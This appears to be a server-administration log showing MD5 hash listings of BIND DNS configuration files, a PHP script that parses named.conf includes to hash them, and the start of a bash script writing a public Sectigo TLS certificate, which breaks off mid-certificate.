MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-29 10:40:29: Establishing a connection
2025-10-29 10:40:29: 

PUT: /tmp/pkp544329

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-29 10:40:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp544329; rm /tmp/pkp544329'

2025-10-29 10:40:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-29 10:42:00: Establishing a connection
2025-10-29 10:42:00: 

PUT: /tmp/pkp441985

#!/bin/bash
temp_file=$(mktemp)
TARGET=65c19728b6c59b5ac40abac85aa0d8fa.crt

cat > $temp_file <<'endmsg'
40:68:fc:a9:24:55:cf:7b:2b:74:ce:15:84:c5:64:ed

-----BEGIN CERTIFICATE-----
MIIGrjCCBRagAwIBAgIQSFfFAzykHHwGw3t0kz/61TANBgkqhkiG9w0BAQsFADBg
MQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTcwNQYDVQQD
Ey5TZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gQ0EgRFYgUjM2
MB4XDTI1MTAyOTAwMDAwMFoXDTI2MTEyOTIzNTk1OVowKTEnMCUGA1UEAxMeZGFs
bWVueW5hcm9vbWFidXNod2Fsa2Vycy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEApomE2i2oePAZdhPX+jOWyUBVJUFMm3Pyu4Ec9kACeAkofmTi
8uHcwayjBEakNFUhTDhQONsJ54Gyj6ja6/Mnxh0Pk26W06jEuAh5rTNCy8rLS96G
+SkgbNtJ7CjG962ADmt7vB55iuFPldKtcO0fNEQ7tQOcc1RjEWWcqDT2Dna0K2hS
aX8yZ6PkspfvWq/Yo/mBFeNL7Rw0IwjY+IqWjlXWYyFwDCYPYYHTUr1/na1+vNGM
tSI1bhaYQloSTSDydJKtfixH1KmBd3iARBvgJR/B3687aVfJj9FC4BNaxEhcC2ap
XvaIfgTBPMwUIKDr9U6QsyPPQ8AWMJWJfKacxwIDAQABo4IDGTCCAxUwHwYDVR0j
BBgwFoAUaMASFhgOr872h6YyV6NGUV3LBycwHQYDVR0OBBYEFAvtveDvI8Tz3J/U
odFnCqAwiA7sMA4GA1UdDwEB/wQEAwIFoDAMBgNVHRMBAf8EAjAAMBMGA1UdJQQM
MAoGCCsGAQUFBwMBMEkGA1UdIARCMEAwNAYLKwYBBAGyMQECAgcwJTAjBggrBgEF
BQcCARYXaHR0cHM6Ly9zZWN0aWdvLmNvbS9DUFMwCAYGZ4EMAQIBMIGEBggrBgEF
BQcBAQR4MHYwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuc2VjdGlnby5jb20vU2Vj
dGlnb1B1YmxpY1NlcnZlckF1dGhlbnRpY2F0aW9uQ0FEVlIzNi5jcnQwIwYIKwYB
BQUHMAGGF2h0dHA6Ly9vY3NwLnNlY3RpZ28uY29tME0GA1UdEQRGMESCHmRhbG1l
bnluYXJvb21hYnVzaHdhbGtlcnMuaW5mb4Iid3d3LmRhbG1lbnluYXJvb21hYnVz
aHdhbGtlcnMuaW5mbzCCAX0GCisGAQQB1nkCBAIEggFtBIIBaQFnAHYA2AlVO5RP
ev/IFhlvlE+Fq7D4/F6HVSYPFdEucrtFSxQAAAGaLYwy5AAABAMARzBFAiA3QDjY
f7EmBG0MvFgBlJcc+NfjXu/PYVv8/OXKVBCDiwIhALsFiy1+6ce+UKQr300hIBAC
Ru+1lKiY61dFFvUiNZ15AHUAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYML+eF
hzoAAAGaLYwzoQAABAMARjBEAiB8M7BUe+mhJQ0MERf9VhatL/ze4oH43GULdn5+
AfCKzAIgeV4B4yaLtD1wkidq/0BK/tqsoNlZBQ01l3ChBACp+bcAdgCsqzBwbOvs
hDH0E9L0kV8RHkIkQ7HypoxPPCs7px4CwwAAAZotjDLHAAAEAwBHMEUCIQCakjCT
dA4GzoJ7PDfg3Yg4EL11lliGf5snzmJhI9QRoAIganDcOH7LTcu82dWovWYQBHNx
fjK9AqqjhLYVBdv0wlAwDQYJKoZIhvcNAQELBQADggGBAHpKHtpr8oqC9woMLdyX
air5JFI16wFlswVd6Ei9YEZnRWIulWyA38V4ElnT510VUBvf1hA4v8jrmgHmLd3V
kLj+MTjJCOd6OuIt8vIWSaopuv4ozPC06t2QU5rDg7FaDupbpG59Vhuu4Okoudml
KjNKNGoiCR4PJrCZ3WKH6pAtNgDKCXGeicDJlsx/F3Rj1hPChcFiLTiRYYY/LxjE
08N5YfUm5dt36HTAw1IQjRAb/xBhV3zaZMO855xnVezkV6PNHq2EKXDQtElm1o5v
